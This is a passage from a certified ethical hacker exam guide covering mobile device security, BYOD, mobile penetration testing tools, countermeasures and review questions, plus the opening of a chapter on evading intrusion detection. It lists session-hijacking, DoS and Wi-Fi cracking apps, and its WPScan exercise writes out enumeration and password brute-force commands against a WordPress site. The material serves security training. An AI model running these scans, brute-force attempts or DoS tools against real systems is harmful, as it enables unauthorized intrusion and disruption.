viruses, computer worms, and Trojan horse programs. Much like traditional systems,
malware does plague mobile systems, and in fact there are pieces of malware designed
exclusively for mobile devices.
Social Engineering Attacks Social engineering attacks such as phishing attempt to
trick the user into disclosing sensitive information. Social engineering attacks can also be
used to entice a user to install malware on a mobile device. In many cases social
engineering attacks are easier to accomplish on mobile devices largely because of their
personal nature and the fact that they are already used to share information on social
media and other similar services.
Data Loss Data loss occurs when a device used to store sensitive data is either carried
away by a malicious person or is lost. While many of these situations can be mitigated
through encryption and remote wipes, the problem is still very serious.
Data Theft This is one of the bigger problems that have emerged with mobile devices
because criminals target them for the information they contain. Malware has been
observed on mobile devices that steals sensitive information.
Device Security Models
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So how have designers built their systems with an eye toward addressing security
problems? Several steps have been taken, but overall there has been an attempt to
approach the problem of security through five key areas, each addressing a specific
problem or need:
Access control is used to protect devices, which includes passwords, biometrics, and
least-privilege technologies, to name a few.
Digital signing has become part of the application model of most if not all mobile OSs.
This feature allows applications to be signed so they can be verified that they
originated from a specific author, and they cannot be tampered with without such
activities being detected. While digital signing is not required, Android will not allow
the installation of apps from unknown sources by default. In iOS, applications from
unknown sources cannot be installed at all unless the owner specifically modifies or
“jailbreaks” the phone to allow this.
Encryption is another vital component of the security model of a mobile OS.
Encryption is employed on devices to ensure that data is kept safe in the event a
device is lost, stolen, or compromised. While not consistently implemented on many
mobile devices in the past, this has changed, with Android 6.0 (codename
Marshmallow) even requiring storage encryption by default.
Isolation, which seeks to limit the access an application has, is an important issue
addressed in mobile devices. Essentially, this is a form of least privilege for
applications, where if you don’t need access to sensitive data or processes, you don’t
get it.
Permissions-based access control works much as it does on server and desktop
operating systems. This feature limits the scope of access of an application by blocking
those actions the user may attempt but has not been granted access to.
Google Android OS
First, let’s look at the market leader, Android, in our exploration of mobile operating
systems.
Android took shape way back in 2003 at the hands of Android Inc., which was acquired by
Google in 2005. From the beginning, the OS was designed to be a mobile platform that
was not only feature rich, powerful, and mobile but also open source. As designed,
Android can be installed on a wide range of hardware, and it supports and integrates with
a myriad of advanced software technologies. It was also designed to integrate with
external data sources, cloud services, and other technologies as well as to run applications
locally. In order to provide these features and do so safely and securely, Google followed
the five tenets mentioned earlier. This resulted in security for users, data, applications,
the device, and the network around it.
Android is based directly on the Linux kernel and borrows many of its
design cues from the OS. While not identical to the Linux OS, it does share a number
of design influences that you would notice if you started digging into the OS or
tweaking the system.
Android was envisioned and created with a multi-layered security model that allows for
the flexibility essential in an open platform, while providing protection for users and
applications.
Another goal of the OS is to support developers and make the platform easy to work with
and easy to engage security controls. In practice, developers should be able to easily call
on the security controls of the system, and if they are experienced developers, they can
tweak the controls as needed. Less-experienced developers or those unfamiliar with
proper security settings are protected because the system puts default settings in place to
ensure that safety and security are maintained.
Some devices, such as those from certain parts of Asia, have been shown
to up the security threat by actually having malware preinstalled. Devices by Huawei,
for example, were shown to have malware in the form of rootkits on them when they
shipped.
But what about the device users themselves? What does Android offer to protect them
while they use the system? Just as Android was developed to make it easy on developers
to develop and deploy applications, the system was designed with the user in mind. To
this end the system was developed with the expectation that attacks would happen, such
as the common malware issue, data theft, and others. It also was designed with the idea
that the users themselves might try things that may adversely affect the system. Android
was designed to allow the user to work with the system and do everyday tasks but not give
them a high level of access Specifically, Android does not let the user have root access to
the system without the user deliberately overriding this protection.
If you have an Android device or have read about the operating system,
you may have heard the term “rooting the device.” In a nutshell, this refers to
undertaking a process of gaining root access to a device. Typically, this involves
running an application or script that grants root access to the user. Once access is
granted, the user can do pretty much whatever they want on the system without
restriction. However, one of the downsides of this process is that the device is now
exposed to greater danger from external threats as well.
Design of Android
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Android, under the hood, is a series of components working together to make the system
work. Each component in the system is self-contained and focuses on performing
whatever task it was designed to do. Each component focuses on security measures for
itself and assumes that every other component is also doing the same. In addition, in a
normal installation, only a very small portion of the Android OS ever runs with root
access, this being the kernel, and everything else runs with less access and in an
application sandbox to further isolate and protect each application.
Sandboxing is a common technique used in application development, and
it’s very effective at providing security, stability, and isolation. Sandboxing, as the
name implies, limits an application or environment’s access to a specific portion of
the system, essentially creating its own “sandbox” to work in. Sandboxing is not
limited to a specific platform or technology; rather, it is a concept encountered in
many areas implemented in different ways, in technologies such as Java, Android,
and web browsers.
So what are the basic components of the Android OS?
Device hardware—Android runs on a wide range of hardware configurations including
smartphones, tablets, and set-top boxes. Keep in mind that this list of hardware is very
short and can be extended substantially to include other devices such as
smartwatches.
Android operating system—The core operating system is built on top of the Linux
kernel. All device resources, like camera functions, GPS data, Bluetooth functions,
telephony functions, network connections, and the like are accessed through the
operating system.
Android application runtime—Android applications are most often written in the Java
programming language and run in the Dalvik virtual machine. In Android 4.4 and
higher, a faster replacement for Dalvik was introduced known as the Android runtime
(ART). In Android 5.0 and above, ART completely replaces Dalvik.
Android applications extend the core Android operating system. There are two primary
sources for applications:
Preinstalled applications—These are applications that come prepackaged with the
Android OS. These applications include things like Gmail, Calendar, and others.
These do not include the bloatware that comes preinstalled from a vendor such as
AT&T or Verizon.
User-installed applications—Android provides an open development environment
supporting any third-party application. Google Play offers users hundreds of
thousands of applications.
Google provides a set of cloud-based services that are available to any compatible
Android device. The primary services are these:
Google Play is a collection of services that allow users to discover, install, and
purchase applications from their Android device or the web. Google Play makes it
easy for developers to reach Android users and potential customers. Google Play
also provides community review, application license verification, application
security scanning, and other security services.
Android Updates delivers new capabilities and security updates to Android devices,
including updates through the web or over the air (OTA).
Application services include frameworks that allow Android applications to use
cloud capabilities such as backing up application data and settings and cloud-todevice messaging (C2DM) for push messaging.
In practice Android has proven to be flexible, open, adaptable, portable, and highly stable
as well as extremely customizable.
An Army of Androids
Because Android is so customizable and is open source, it has seen a huge number of
tweaks, much like the Linux operation system it is derived from. These range from
tweaks to the OS itself to entirely new versions of the OS.
The Android community of developers and enthusiasts has actually created
numerous custom versions of Android that span the range of options. Don’t like
stock Android because you find it too slow? No worries; wipe your device and install
SlimROM, an extremely stripped-down version of Android that’s small, fast, and very
functional. Want to go with something a little fancier? Try the Android Open Kang
Project (AOKP), which looks like standard Android but is customizable. Want
something highly configurable? Try Paranoid Android or CyanogenMod for your
needs, or go to a site such as www.xda-developers.com, which is a community of
Android developers, for help.
These are just a few of the options available. If you want to really tweak and adjust or
just do whatever you want in the OS, you can certainly find a version that allows it.
Apple iOS
The second most popular mobile operating system in the market is Apple’s iOS, which is
present on multiple devices including the iPod, iPad, and iPhone. Much as Android is
based on the Linux kernel, iOS is a slimmed-down version of OS X for the Mac. However,
while it is based on OS X, which is based on FreeBSD, it is not fully Unix compatible.
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Unlike Android, which covers all five core components of system design, iOS covers only
four. Specifically, it addresses these areas:
Traditional Access Control iOS provides traditional access control security options,
including password configuration options as well as account lockout options.
Application Provenance Just as Android items that are in the Google Play store have
been verified and therefore trusted, in iOS it’s the same type of deal with apps being
created by Apple-approved developers, who have the ability to sign their app before
placing it in the store.
Encryption iOS uses hardware-accelerated AES-256 encryption to encrypt all data stored
on the device as well as additional encryption for email and other services.
Isolation The iOS operating system isolates each app from every other app on the
system, and apps aren’t allowed to view or modify each other’s data, logic, and the like.
There is something to pay attention to and expand upon in this list, something that is
more than it appears, and that is the application provenance issue. Both Android and iOS
use this to ensure that apps that are installed by the user come from legitimate sources,
meaning approved developers. However, users of Apple devices cannot install non-Appleapproved applications on their phone as Android users can.
But with this in mind, you may have seen an iPhone or two running an app or something
else that didn’t come from the App Store. So how does this occur? Through a process
known as jailbreaking. So what is jailbreaking, and how does it work? Let’s talk about this
a bit.
First of all, you need to understand that many manufacturers of smartphones, tablets,
game consoles, and other systems include digital rights management (DRM) in their
products. DRM exists to control the types of software you can run on your device as well
as preserve security in some cases. This is where jailbreaking comes in. Jailbreaking is
used to get around the restrictions imposed by DRM and let you run whatever you want
to run and do whatever you want to do on the device.
From a technical standpoint, jailbreaking is simply applying a set of kernel-level patches
to a system that allows the owner of the device to run unsigned applications. This process
also grants root access to the device and removes the restrictions associated with having
non-root access.
One drawback of this process is a little thing called voiding your warranty. Another
drawback is that you are effectively opening the device up with so much access that
anything can run without restriction, including malware.
Common Problems with Mobile Devices
So mobile devices are commonplace, and we know that just by opening our eyes and
looking around. However, a lot of common problems also occur that could be easy ways
for an attacker to cause you harm:
One of the more common problems with mobile devices is that they quite often do not
have passwords set, or else the passwords are incredibly weak. While some devices do
offer simple-to-use and effective biometric systems for authentication instead of
passwords, they are far from being the norm. Although most devices support
passwords, PIN codes, and gesture-based authentication, many people do not use
these mechanisms, which means if the device is lost or stolen, their data can be easily
accessed.
Unprotected wireless connections are also a known issue with many devices and seem
to be worse on mobile devices. This is more than likely due to owners of these devices
being out and about and then finding an open access point and connecting without
regard to whether it is protected or not.
Malware problems seem to be more of an issue with mobile devices than they are with
other devices. This is due to owners downloading apps from the Internet with little
concern that they may contain malware and not having an antimalware scanner on the
device.
Users neglect to install security software on mobile devices even though such software
is readily available from major vendors without restriction and is free. Many owners of
these devices may even believe that malware doesn’t exist for mobile devices or that
they are immune.
Unmaintained and out-of-date operating system software is a big problem. Similarly to
desktop systems, patches and fixes for mobile OS software are also released from time
to time. These patches may not get applied for a number of reasons. One of the bigger
ones tends to be a provider such as AT&T tweaking stock Android into something that
includes their applications and bloatware, not to mention adjustments. When this
happens, the patches and updates that Google releases may not work on those
tweaked versions. In this case you would have to wait for some update to be made for
your device by your provider before you can apply the patch. This process could take
months or even a year and in some cases never.
Much like the OS, there may be software on the device that is not patched and is out of
date.
Internet connections may be on and insecure, which can lead to someone getting on
the system in the same ways we discussed in earlier chapters on scanning,
enumeration, and system hacking.
Mobile devices may be rooted or jailbroken, meaning that if that device is connected to
your network, it could be an easy way to introduce malware into your environment.
Fragmentation is common with Android devices. Specifically, this refers to the fact
that unlike iOS there are a vast number of versions of the Android OS with different
features, interfaces, capabilities, and more. This can lead to support problems for the
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enterprise due to the amount of variation and inconsistency.
While these are some of the known problems that exist with mobile devices, they don’t
necessarily represent the current state of threats, and you must do due diligence if you
will be managing an environment that allows these devices.
One way to help you get a snapshot of the known problems in the mobile area is to use
the Open Web Application Security Project (OWASP). OWASP is an organization that
keeps track of various issues such as web application concerns, and it also happens to
maintain top 10 lists of various issues including mobile device problems. You may want to
check their site, www.owasp.org, periodically to learn the latest issues that may be
appearing and that you could use in your testing process.
However, there still is one more area that mobile devices have really brought to the
forefront that we need to take a look at, and that is bring your own device (BYOD).
Bring Your Own Device/Bring Your Own Problems
BYOD has been a trend over the last several years in the business world and has
accelerated in popularity. Simply put, the concept of BYOD is one where employees
provide their own equipment in the form of smartphones, laptops, tablets, and other
types of electronics. Nowadays when employees bring their own stuff, it is mainly in the
form of tablets and smartphones more than laptops and notebooks simply because of how
small and powerful they are. These devices are connected to the corporate network and
the employees use the devices to do their jobs.
Today, many employees have come to expect that they will be able to use their
smartphones and other personal devices such as tablets at work. The problem with this
situation is that maintaining a secure environment with equipment that the company
does not own and may not even have any management over is tough. While companies
have taken steps to define their position on how these devices will be allowed to interact
with corporate services, there still are concerns. IT departments by necessity have to be
extra vigilant about the security issues that can appear in this environment.
One of the biggest defenses that can be used initially is for IT and security to clearly detail
the requirements each device must meet before being used in the corporate environment.
For example, a policy may need to be established stating that devices meet certain
standards such as patches, antimalware requirements, password requirements,
applications allowed and blocked, as well as encryption requirements. In addition, the
company should never discount the value of using intrusion detection devices on the
network itself to control the activities of these hosts when they appear.
In practice, two things should happen administratively to make sure things get done right.
First, a policy should exist that states the responsibilities of the system administrator in
relation to their handling of mobile devices. Second, a policy should be created and made
aware to the end users so that they understand the responsibility that comes with
connecting their personal devices to the network.
Many individuals who have attached their personal smartphones to
corporate networks have found out the hard way the cost of doing so. Specifically,
there have been a handful of cases where individuals who attached their own
personal devices to a company network had their personal phone wiped and all their
data and other information lost that was stored on it. Why did this happen? Simply
put, a system administrator sent out a remote wipe command to the device and
instructed it to wipe itself of all apps and data to keep it from falling in the wrong
hands. Or an administrator may have found the device and did not recognize it, so
they wiped it in response.
To avoid the heat that comes with the remote wiping of personally owned devices,
companies should make employees sign a paper stating they accept the possibility
that this may happen.
In order to make BYOD and mobile device integration easier, many enterprises have
resorted to management software solutions. These solutions allow for the tracking,
monitoring, and management of mobile devices in the same vein as traditional enterprise
asset management solutions. Solutions include Microsoft’s System Center Mobile Device
Manager software and IBM’s MaaS360 management technology.
Penetration Testing Mobile Devices
So how do we pen test mobile devices? In many ways the process is similar to what we are
already using in a traditional setting but with some minor differences along the way.
Remember that in regard to security, mobiles are so diverse that they are a
bit of an unknown quantity. You also need to keep in mind how users of these
devices work; they can be extremely mobile and this means data and
communications can be flowing in all different directions and ways, unlike in
traditional office settings.
So what does the testing process look like when mobile devices start to creep into the
picture? Here is a quick overview of how to evaluate these devices.
Footprinting Many of the scanning tools we examined in our footprinting phase can be
used to locate and identify a mobile device plugged into a network. A tool like Nmap, for
example, can be used to fingerprint an OS under many conditions and return information
as to its version and type.
Once you find mobile devices in the environment, make sure to note their information
such as MAC address, IP address, version, type, and anything else of value.
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Scanning For mobile devices attached to the network you are evaluating, use a piece of
software such as Kismet to find out which wireless networks the devices are looking for.
Exploitation Use man-in-the-middle attacks, spoofing, ARP poisoning, and other such
mechanisms to attack a device. Use traffic insertion attacks to deliver client-side exploits
to vulnerable systems and devices or manipulate captured traffic to exploit back-end
servers.
Post Exploitation Inspect sensitive data areas on mobile devices for information such
as the Short Message Service (SMS), and browser history databases. Note that forensic
tools are available for cell phones that can extract this information as well.
Penetration Testing Using Android
One other option that is possible for you to use in penetration testing is a mobile device.
In this section we will look at the tools that can be installed on Android that can enhance
our capabilities to run a thorough test.
Since we have covered all the attacks and theories behind these tools in
other chapters, we will not give long descriptions of each type of attack again here.
If you wish to try any of these tools, you will need to root your phone and make sure
you have backed up your data beforehand.
Networking Tools
IP Tools by AmazingByte is a collection of tools used to provide information about
different properties of the network, including routing information, DNS settings, IP
configuration, and more.
LanDroid by Fidanov Networks is another collection of network information tools
much like IP Tools. It’s not as complete as IP Tools, but it is still useful and well
designed.
The Network Handbook by Smoothy Education is a set of tools and information that is
designed to aid in network troubleshooting, but it can also be helpful for gaining
information about a network.
Fing by Overlook is a set of tools for network analysis that includes the ability to assist
in the evaluation of network security, host detection, and some Wi-Fi tools.
Mobile NM by Gao Feng is a mobile version of the powerful Nmap port and network
scanner. The mobile version operates with essentially the same capabilities as the
Nmap we explored in other parts of this book.
Port Scanner by Catch 23 can gain much of the same information as the rest of the
tools in this list, but it also includes support for technologies such as 3G and more.
Network Discovery by Aubort Jean-Baptiste is similar to Fing in many ways but with a
different interface.
Packet Capture by Grey Shirts is much like Wireshark but does not use root
permissions to operate.
Packet Generator by NetScan Tools is one of the few packet crafters available for the
Android OS, and it works similarly to regular packet crafters like hping.
Shark for Root by Elviss Kuštans is essentially a scaled-down version of Wireshark for
Android. Unlike some other sniffers, this requires root access on the device to
function properly. You must download Shark Reader to examine the captured traffic
on the phone or tablet this is run on.
UPnP Scanner by GeminiApps can scan and detect Universal Plug and Play devices on
the network. This means other computers, mobile devices, printers, and other devices
can be revealed on the network.
Intercepter-NG is a network toolkit that has the functionality of several well-known
separate tools built in and offers a good and unique alternative over other sniffing
tools.
NetCat for Android by NikedLab is simply a port of the original NetCat for the Android
operating system.
PacketShark from GL Communications is a packet sniffer application. Its features
include a friendly capture options interface, filter support, live capture view, and
Dropbox upload of captured files.
SharesFinder by srcguardian is a utility designed to find network shares on the local
network segment. It can be useful in locating unsecured or unprotected shares.
Session Hijacking Tools
DroidSheep by Andreas Koch works as a session hijacker for non-encrypted sites and
allows you to save cookies/files/sessions for later analysis. This one is not available on
the Google Play store and must be located through a search. The device must be
rooted.
FaceNiff is an app that allows you to sniff and intercept web session profiles over WiFi networks. This tool is also not available on the Google Play store so you will have to
search for this one.
SSLStrip for Android(Root) by NotExists is an app used to target SSL-enabled sessions
and use non-SSL-enabled links in order to sniff their contents.
Denial of Service
Low Orbit Ion Cannon (LOIC) by Rifat Rashid is a tool for network stress-testing a
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denial-of-service attack against a target application. LOIC performs a denial-of-service
(DoS) attack (or when used by multiple individuals, a DDoS attack) on a target site by
flooding the server with TCP or UDP packets with the intention of disrupting the
service of a particular host.
AnDOSid by Scott Herbert allows security professionals to simulate a DOS attack.
AnDOSid launches an HTTP POST flood attack, where the number of HTTP requests
becomes so huge that a victim’s server has trouble responding to them all.
Easy Packet Blaster by Hunter Davis is another utility that is simple to use but can
very effectively shut down a network host with traffic.
Scanners
WPScan for Android by Alessio Dalla Piazza is a black-box WordPress vulnerability
scanner written in Ruby that attempts to find known security weaknesses within
WordPress installations. See Exercise 16.1.
App Scanner by Trident Inc. is a utility designed to specifically target applications and
their potential vulnerabilities.
CCTV Scanner is an app designed to locate cameras on networks and give information
regarding the devices.
NetCut by Fortiz Tools is used to test the security of firewalls.
EXERCISE 16.1
Using WPScan
In this exercise you will use WPScan to target a site using WordPress in order to
discover vulnerabilities that may exist in the installation. To perform this exercise
you will need to either have WPScan installed on Android or use Kali Linux.
1. First, enumerate the plugins that are installed in a WordPress installation by
using the following command:
ruby wpscan.rb --url http(s)://www.yoursiteurl.com --enumerate p
2. The output this command generates only gives a list of installed plugins. If you
want to look for vulnerable plugins, you can use the following command:
ruby wpscan.rb --url http(s)://www.yoursiteurl.com --enumerate vp
Running this command will output a list of only those themes that expose
WordPress to known vulnerabilities. If you look closely at the results, you will see
where to get information on the vulnerabilities.
3. Next, you can look for themes that contain known vulnerabilities. To locate the
themes and see which ones are vulnerable, use this command:
ruby wpscan.rb --url http(s)://www.targetsite.com --enumerate t
4. To filter the output to only those themes that have vulnerabilities in them, use
the following command:
ruby wpscan.rb --url http(s)://www.targetsite.com --enumerate vt
This command, just like its predecessors, will list only those installed themes that
are vulnerable and show what the vulnerability is.
Enumerate Users
WPScan can also identify users who have valid accounts on the system, like so:
ruby wpscan.rb --url http(s)://www.targetsite.com --enumerate u
Once you have valid users located, you can try some password cracking. You can
do this with a brute-force attack until the password is revealed:
ruby wpscan.rb --url localhost/wp_site --wordlist password.txt --username
admin
In practice, WPScan is very useful during a penetration test of WordPress.
SQL Injection Tools
DroidSQLi is an automated MySQL injection tool for Android. It allows you to test
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your MySQL-based web application against SQL injection attacks.
sqlmapchik by Maxim Tsoy is a cross-platform sqlmap GUI for the popular sqlmap
tool. It is primarily used on mobile devices.
SQLite Editor by Weavebytes is a high-quality and very capable tool for evaluating and
testing for SQL injections within web applications.
Proxy Tools
SandroProxy by sandrob is used to send your traffic through a preselected proxy to
cover up obfuscating attacks.
Psiphon is not really a proxy tool but a VPN technology that can be used to protect
traffic to and from a mobile device. It can be used to protect only web traffic or it can
tunnel all the traffic on a device through the service.
Web Application Testing
HTTP Injector by Evozi is used to modify requests to and from websites and is helpful
at analyzing web applications.
HTTP Tool by ViBO is designed to allow the tester to execute custom HTTP requests to
evaluate how an application responds.
Burp Suite is simply a port of the same tool from the desktop version.
Log File Readers
Syslog is used for reading log files on a mobile system.
ALog reader is another log file reader.
Wi-Fi Tools
Wifite is an automated wireless cracking tool for Android and the Linux platform. It
can crack WEP and WPA as well as WPS-enabled networks.
AirMon by Maxters is an app for sensing, monitoring, and picking up wireless traffic.
WifiKill by Mat Development can scan a network and terminate wireless hosts it
discovers.
Wigle Wi-Fi Wardriving from WiGLE.net is a port of the same tool for the desktop
environment.
Kismet is available for Android and is a port of the popular Linux tool.
Pentesting Suites
dSploit Scripts by jkush321 is a suite of tools that can easily map your network,
fingerprint live hosts’ operating systems and running services, search for known
vulnerabilities, crack logon procedures of many TCP protocols, and perform man-inthe-middle attacks such as password sniffing and real-time traffic manipulation. Note
that dSploit’s developer has merged his effort with zANTI, which is also listed here.
zANTI is a comprehensive network diagnostics toolkit that enables complex audits and
penetration tests at the push of a button. zANTI offers a comprehensive range of fully
customizable scans to reveal everything from authentication, backdoor, and bruteforce attempts to database, DNS, and protocol-specific attacks, including rogue access
points.
Hackode by Ravi Kumar Purbey is another suite of tools much like zANTI and dSploit
in scope and power.
Staying Anonymous
Orbot is a free proxy app from the Tor Project that empowers other apps to use the
Internet more securely. Orbot uses Tor to encrypt your Internet traffic and then hides
it by bouncing through a series of computers around the world.
Orweb from the Guardian Project is a private web browser specifically designed to
work with Orbot and is free. It can be a little slow, but it offers a high degree of
protection and the most anonymous way to access any website, even if it’s normally
blocked, monitored, or on the hidden web.
Incognito is a web browser built for private browsing. It may not be as secure and
private as Orweb, but it is still a great option to have available.
Countermeasures
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Similar to securing desktops, servers, networks, and other equipment, you can take some
basic steps to make mobile devices more resistant to attacks. What’s included here is
some basic guidance but not a comprehensive list of all that can be done:
Setting passwords on all mobile devices is a requirement for all devices that will be
attached to a corporate network and/or store sensitive data. It is worth noting that
enabling certain features such as encryption will require the setting of a password
before they will work.
Strong passwords are recommended on all devices. This step is of particular
importance because many mobile devices allow you to use methods to unlock the
device other than passwords. Many devices allow you to set PIN codes, gestures, and
regular alphanumeric passwords.
Install antimalware applications to thwart the spread and infection of malware.
Ideally, the antimalware application should scan not only the device but also newly
installed applications and email for maximum effect.
Use encryption on all devices wherever possible to protect both internal storage and
SD cards. This is an essential part of protecting data on a device in the event that it is
lost or stolen. Note that some older devices and older operating systems do not
support encryption.
Ensure that your device is always current with the latest software updates. This can be
problematic because devices that are subsidized by wireless companies such as AT&T
do not always get the latest updates until long after they are released. Such is the case
with subsidized devices that run Android; Google will release updates to the system,
but providers may not release them to their users for up to a year or more.
Avoid installing applications from unknown sources. Not all apps that can be installed
on a device must come from Google or Apple; many can be downloaded from various
websites. While many of these applications are legitimate, others may contain
malware or cause other issues.
Back up the device regularly. Do we really need to say more on this topic?
Avoid rooting or jailbreaking a device. While it may seem attractive to get more power
and control over a device, doing so introduces security risks.
Enable remote wipes if possible. This feature, if available, should be enabled on
devices that contain sensitive data and are susceptible to being lost or stolen.
Verify applications before downloading. Some apps could be harmful to your mobile
device, either by carrying malware or by directing you to a malicious website that may
collect your sensitive information.
Summary
Mobile devices have taken the world by storm and have seen incredibly rapid growth and
adoption over the last several years. Along with this growth have come a number of
security issues to plague mobile devices. The ability to have a small and powerful device
that is Internet connected and allows communication from anywhere at any time is
alluring as well as a problem for companies.
With the average person today possessing at least three mobile devices and using those
devices for both personal and work purposes, the devices pose a problem for the
workplace. With the rise of BYOD policies at many workplaces, users now attach to a
network not only because they want to but also because they have to in order to work.
Operating systems such as Google’s Android and the second-place Apple iOS are in many
ways similar to but also different from traditional systems, presenting a security
challenge. The vast number of devices has led to a host of problems, including mixing of
multiple versions of the same OS and countless numbers of devices each having unique
characteristics.
As a penetration tester you will need to familiarize yourself with the similarities and
differences of the myriad of devices that exist. Pen testing these devices will require a
combination of methods learned over previous chapters as well as the adoption of new
tools and techniques to properly test the systems.
Exam Essentials
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Know the challenges posed by mobile devices. Mobile devices represent a shift
from laptops and desktop PCs to highly compact tablets and smartphones. While very
powerful and portable, they present a huge potential for security holes within an
organization.
Know the basics of protecting mobile data. Data on mobile devices is much more
vulnerable than data in a fixed location. The risk that data may be compromised on a lost
or stolen device is quite high and thus requires extra protection.
Understand the challenges of keeping Android devices up to date. Android
devices come in many different versions and flavors by vendor and device. Since there are
so many versions, patches and other updates may not be available as quickly as needed on
many devices.
Review Questions
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1. What is the benefit of encryption on mobile devices?
A. Protection against stolen devices
B. Protection of data on lost or stolen devices
C. Prevention of malware
D. Protection of data being sent to websites
2. Jailbreaking a phone refers to what?
A. Removing DRM from the system
B. Removing a device from a network
C. Acquiring root access on a device
D. Removing ransomware from a system
3. What does rooting a device do?
A. Removes updates from a system
B. Removes access to a user
C. Provides root-level access to a user on a system
D. Increases security on a device
4. Android is based on which operating system?
A. Windows
B. OS X
C. Unix
D. Linux
5. iOS is based on which operating system?
A. Windows
B. OS X
C. Unix
D. Linux
6. What could a company do to protect itself from a loss of data when a phone is stolen?
(Choose all that apply.)
A. Passwords
B. Patching
C. Encryption
D. Remote wipe
7. A utility for auditing WordPress from Android is __________.
A. DroidSheep
B. Firesheep
C. WPScan
D. Nmap
8. What utility could be used to avoid sniffing of traffic?
A. SandroProxy
B. Proxify
C. Psiphon
D. Shark
9. Jennifer has captured the following URL: www.snaz22enu.com/&w25/session=22525.
She realizes that she can perform a session hijack. Which utility would she use?
A. Shark
B. DroidSheep
C. Airmon
D. Droid
10. Jennifer is concerned about her scans being tracked back to her tablet. What could she
use to hide the source of the scans?
A. Sniffing
B. SandroProxy
C. FaceNiff
D. Blind scanning
11. What option would you use to install software that’s not from the Google Play store?
A. Install from unknown sources.
B. Install unsigned sources.
C. Install from unknown locations.
D. Install from unsigned services.
12. Which technology can provide protection against session hijacking?
A. IPsec
B. UDP
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C. TCP
D. IDS
13. When a device is rooted, what is the effect on security?
A. Improved
B. Lowered
C. Stays the same
D. Hardened
14. Session hijacking can be thwarted with which of the following?
A. SandroProxy
B. DroidSheep
C. FaceNiff
D. Psiphon
15. A denial of service application for Android is __________.
A. Blaster
B. LOIC
C. Evil
D. Pryfi
16. A man-in-the-browser attack delivered by a piece of malware can be prevented by
which of the following?
A. Anti-virus
B. Anti-spyware
C. Using Firefox
D. Rooting a device
17. An attack that can be performed using FaceNiff is __________.
A. Infecting the client system
B. Infecting the server system
C. Inserting oneself into an active session
D. Inserting oneself into a web application
18. Remote wipes do what? (Choose two.)
A. Wipe all data off a device.
B. Remove sensitive information such as contacts from a remote system.
C. Factory reset a device.
D. Insert cookies and devices.
19. A session hijack can be used against a mobile device using all of the following except?
A. Emails
B. Browsers
C. Worms
D. Cookies
20. NetCut is used to do what? (Choose two.)
A. Test firewalls.
B. Craft packets.
C. Take over a session.
D. Scan a network.
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Chapter 17
Evasion
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
Q. Log analysis tools
S. Exploitation tools
At this point in this book you have seen quite a number of ways to
break into a computer system, network, or organization. The problem is that although a
lot of these attacks are effective at getting information and other items from a target, they
can be detected or thwarted. Today’s networks and environments employ a range of
defensive and detective measures designed to deal with such attacks.
Corporations now employ many defensive measures, each with its own way of putting a
stop to your attack. Intrusion detection systems (IDSs), intrusion prevention systems
(IPSs), firewalls, honeypots, and other such defenses are potent obstacles to your
activities. Although these devices are formidable, they are not insurmountable, so you
need to first learn how they work and then see what you can do to overcome the obstacles
or just get around them altogether. This chapter focuses on these systems and how to
deal with them.
Honeypots, IDSs, and Firewalls
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Before we delve into the various evasion techniques you can use to get around a
defender’s defensive and detective mechanisms, you must learn how they work. We’ll
look at each of these systems and show what they are designed to defend against and how
they detect or stop an attack.
The Role of Intrusion Detection Systems
An intrusion detection system (IDS) is an application or device used to gather and analyze
information that passes across a network or host. An IDS is designed to analyze, identify,
and report on any violations or misuse of a network or host.
Let’s take a close look at how an IDS works. An IDS is used to monitor and protect
networks by detecting malicious activity and reporting it to a group or contact such as a
network administrator. Once activities of this type are detected, an administrator is
alerted.
Here are some things to keep in mind as we go forward. An IDS:
Is designed to detect malicious or nonstandard behavior
Gathers information from within a network to detect violations of security policy
Reports violations and deviations to an administrator or system owner
A network IDS (NIDS) is a packet sniffer at its very core. The difference
between a packet sniffer and an NIDS is that an NIDS includes a rules engine, which
compares traffic against a set of rules that determine the difference between
legitimate and malicious traffic and activities.
The Four Types of Intrusion Detection Systems
In practice there are four types of IDSs, each offering unique capabilities that the others
do not. We’ll first discuss the types available and where each fits in; then we’ll delve
deeper into each.
The first type, and one of the most common, is the NIDS. The NIDS is designed to
inspect every packet traversing the network for the presence of malicious or damaging
behavior and, when malicious activity is detected, throw an alert. The NIDS is able to
monitor traffic from the router to the host itself. Much like a packet sniffer, an NIDS
operates similarly to a network card in promiscuous mode. In practice this type of IDS
can take the form of a dedicated computer or the more common black-box design
(which is a dedicated device).
The next major kind of IDS is the host-based intrusion detection system (HIDS),
which is installed on a server or computer. An HIDS is responsible for monitoring
activities on a system. It is adept at detecting misuse of a system, including insider
abuses. Its location on a host puts the HIDS in close proximity to the activities that
occur on a host as well as in a perfect position to deal with threats on that host. HIDSs
are commonly available on the Windows platform but are found on Linux and Unix
systems as well.
Log file monitors (LFMs) monitor log files created by network services. The LFM IDS
searches through the logs and identifies malicious events. Like NIDSs, these systems
look for patterns in the log files that suggest an intrusion. A typical example would be
parsers for HTTP server log files that look for intruders who try well-known security
holes, such as the phf attack. An example of a log file monitoring program is swatch.
File integrity-checking mechanisms, such as Tripwire, check for Trojan horses or files
that have otherwise been modified, indicating an intruder has already been there.
Another form of protective mechanism is known as a system integrity
verifier (also known as a file integrity checker), which looks for changes to files that
may be suggestive of an intruder. They may also monitor other objects such as the
registry.
The Inner Workings of an IDS
The main purpose of an IDS is to detect and alert an administrator about an attack. The
administrator can then determine, based on the information received from the IDS, what
action to take.
An IDS functions in the following way:
1. The IDS monitors network activity for anomalies—that is, signatures, custom rules, or
behaviors that may indicate an attack, reconnaissance attempt, or other malicious
behavior. If the activity detected matches signatures that the IDS has on record or a
known attack, the IDS reports the activity to an administrator, who will then decide
what to do. Based on the configuration in place on the IDS, the system can also take
additional actions, such as sending text messages, paging someone, or sending an
email.
2. If the packet passes the anomaly stage, then stateful protocol analysis is done.
IDS Detection Methods
So what mechanisms allow an IDS to determine what is an attack and what is not? What
works with the rule engine? One of three methods will be used: signature, anomaly, or
protocol detection.
Signature Detection
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The first form of detection or recognition is based on a signature; this method is also
sometimes called misuse detection. The system compares traffic to known models, and
when matches are found it reports the attack.
Pattern matching is the most basic form of detecting and is used in many systems. The
process relies on the comparison of known patterns against captured traffic. These
models may be looking for changes or patterns in the TCP flags on traffic.
Signature recognition is effective at detecting known attacks and poor at detecting
ones not in its database. There is also a slight possibility that other traffic not related
to an attack will trigger a false positive. Improper signatures can cause false positives
and false negatives.
Evolution of attacks and minor variations of attacks can result in the need for multiple
signatures for a single attack. Just a single bit change can trigger the need for a new
signature to be created.
